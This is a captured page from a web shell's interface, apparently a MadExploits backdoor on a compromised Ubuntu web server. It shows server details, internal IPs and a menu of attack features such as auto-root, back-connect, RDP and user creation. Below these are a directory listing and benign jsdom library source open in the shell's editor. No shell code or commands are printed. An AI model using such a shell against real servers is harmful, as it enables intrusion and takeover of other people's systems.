Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
jsdom /
lib /
jsdom /
living /
helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
svg
[ DIR ]
drwxr-xr-x
agent-factory.js
636
B
-rw-r--r--
binary-data.js
320
B
-rw-r--r--
create-element.js
9.91
KB
-rw-r--r--
create-event-accessor.js
5.68
KB
-rw-r--r--
custom-elements.js
7.51
KB
-rw-r--r--
dates-and-times.js
7.68
KB
-rw-r--r--
details.js
540
B
-rw-r--r--
document-base-url.js
1.84
KB
-rw-r--r--
events.js
717
B
-rw-r--r--
focusing.js
3.39
KB
-rw-r--r--
form-controls.js
10.08
KB
-rw-r--r--
html-constructor.js
2.75
KB
-rw-r--r--
http-request.js
7.85
KB
-rw-r--r--
internal-constants.js
386
B
-rw-r--r--
iterable-weak-set.js
1.13
KB
-rw-r--r--
json.js
346
B
-rw-r--r--
mutation-observers.js
5.31
KB
-rw-r--r--
namespaces.js
381
B
-rw-r--r--
node.js
1.29
KB
-rw-r--r--
number-and-date-inputs.js
6.71
KB
-rw-r--r--
ordered-set.js
2.04
KB
-rw-r--r--
page-transition-event.js
445
B
-rw-r--r--
runtime-script-errors.js
2.43
KB
-rw-r--r--
selectors.js
1.17
KB
-rw-r--r--
shadow-dom.js
6.69
KB
-rw-r--r--
strings.js
4.68
KB
-rw-r--r--
style-rules.js
3.6
KB
-rw-r--r--
stylesheets.js
4.09
KB
-rw-r--r--
text.js
542
B
-rw-r--r--
traversal.js
2.27
KB
-rw-r--r--
validate-names.js
2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create-event-accessor.js
"use strict"; const idlUtils = require("../generated/utils"); const ErrorEvent = require("../generated/ErrorEvent"); const EventHandlerNonNull = require("../generated/EventHandlerNonNull.js"); const OnBeforeUnloadEventHandlerNonNull = require("../generated/OnBeforeUnloadEventHandlerNonNull.js"); const OnErrorEventHandlerNonNull = require("../generated/OnErrorEventHandlerNonNull.js"); const reportException = require("./runtime-script-errors"); exports.appendHandler = (el, eventName) => { // tryImplForWrapper() is currently required due to use in Window.js idlUtils.tryImplForWrapper(el).addEventListener(eventName, event => { // https://html.spec.whatwg.org/#the-event-handler-processing-algorithm const callback = exports.getCurrentEventHandlerValue(el, eventName); if (callback === null) { return; } const specialError = ErrorEvent.isImpl(event) && event.type === "error" && event.currentTarget.constructor.name === "Window"; let returnValue = null; // https://heycam.github.io/webidl/#es-invoking-callback-functions if (typeof callback === "function") { if (specialError) { returnValue = callback.call( event.currentTarget, event.message, event.filename, event.lineno, event.colno, event.error ); } else { returnValue = callback.call(event.currentTarget, event); } } // TODO: we don't implement BeforeUnloadEvent so we can't brand-check here if (event.type === "beforeunload") { if (returnValue !== null) { event._canceledFlag = true; if (event.returnValue === "") { event.returnValue = returnValue; } } } else if (specialError) { if (returnValue === true) { event._canceledFlag = true; } } else if (returnValue === false) { event._canceledFlag = true; } }); }; // "Simple" in this case means "no content attributes involved" exports.setupForSimpleEventAccessors = (prototype, events) => { prototype._getEventHandlerFor = function (event) { return this._eventHandlers ? this._eventHandlers[event] : undefined; }; prototype._setEventHandlerFor = function (event, handler) { if (!this._registeredHandlers) { this._registeredHandlers = new Set(); this._eventHandlers = Object.create(null); } if (!this._registeredHandlers.has(event) && handler !== null) { this._registeredHandlers.add(event); exports.appendHandler(this, event); } this._eventHandlers[event] = handler; }; for (const event of events) { exports.createEventAccessor(prototype, event); } }; // https://html.spec.whatwg.org/multipage/webappapis.html#getting-the-current-value-of-the-event-handler exports.getCurrentEventHandlerValue = (target, event) => { const value = target._getEventHandlerFor(event); if (!value) { return null; } if (value.body !== undefined) { let element, document, fn; if (target.constructor.name === "Window") { element = null; document = idlUtils.implForWrapper(target.document); } else { element = target; document = element.ownerDocument; } const { body } = value; const formOwner = element !== null && element.form ? element.form : null; const window = target.constructor.name === "Window" && target._document ? target : document.defaultView; try { // eslint-disable-next-line no-new-func Function(body); // properly error out on syntax errors // Note: this won't execute body; that would require `Function(body)()`. } catch (e) { if (window) { reportException(window, e); } target._setEventHandlerFor(event, null); return null; } // Note: the with (window) { } is not necessary in Node, but is necessary in a browserified environment. const createFunction = document.defaultView.Function; if (event === "error" && element === null) { const sourceURL = document ? `\n//# sourceURL=${document.URL}` : ""; fn = createFunction(`\ with (arguments[0]) { return function onerror(event, source, lineno, colno, error) { ${body} }; }${sourceURL}`)(window); fn = OnErrorEventHandlerNonNull.convert(window, fn); } else { const calls = []; if (element !== null) { calls.push(idlUtils.wrapperForImpl(document)); } if (formOwner !== null) { calls.push(idlUtils.wrapperForImpl(formOwner)); } if (element !== null) { calls.push(idlUtils.wrapperForImpl(element)); } let wrapperBody = `\ with (arguments[0]) { return function on${event}(event) { ${body} }; }`; // eslint-disable-next-line no-unused-vars for (const call of calls) { wrapperBody = `\ with (arguments[0]) { return function () { ${wrapperBody} }; }`; } if (document) { wrapperBody += `\n//# sourceURL=${document.URL}`; } fn = createFunction(wrapperBody)(window); for (const call of calls) { fn = fn(call); } if (event === "beforeunload") { fn = OnBeforeUnloadEventHandlerNonNull.convert(window, fn); } else { fn = EventHandlerNonNull.convert(window, fn); } } target._setEventHandlerFor(event, fn); } return target._getEventHandlerFor(event); }; // https://html.spec.whatwg.org/multipage/webappapis.html#event-handler-idl-attributes // TODO: Consider replacing this with `[ReflectEvent]` exports.createEventAccessor = (obj, event) => { Object.defineProperty(obj, "on" + event, { configurable: true, enumerable: true, get() { return exports.getCurrentEventHandlerValue(this, event); }, set(val) { this._setEventHandlerFor(event, val); } }); };
Close